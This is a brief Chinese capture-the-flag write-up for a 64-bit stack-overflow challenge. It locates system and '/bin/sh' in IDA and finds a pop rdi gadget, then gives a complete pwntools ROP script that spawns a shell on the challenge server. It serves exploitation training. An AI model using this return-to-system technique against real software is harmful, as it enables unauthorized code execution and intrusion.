例行检查,64位,开启NX保护。
运行一下
用IDA打开。shift+f12检索字符串,看到了system和/bin/sh
shelladdr=0x601048
systemaddr=0x400496
查看主函数,v4的输入没有长度限制 ,可以造成溢出,由于程序 是64位的,所以传参会用到寄存器
当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时,后面的依次从 “右向左” 放入栈中。
找到rdi的位置。
rdiaddr=0x400683
from pwn import*
r=remote('node3.buuoj.cn',27557)
shell=0x601048
system=0x400496
rdi=0x400683
payload='a'*(0x10+8)+p64(rdi)+p64(shell)+p64(system)
r.sendline(payload)
r.interactive()
flag不在根目录下,利用find -name flag找一下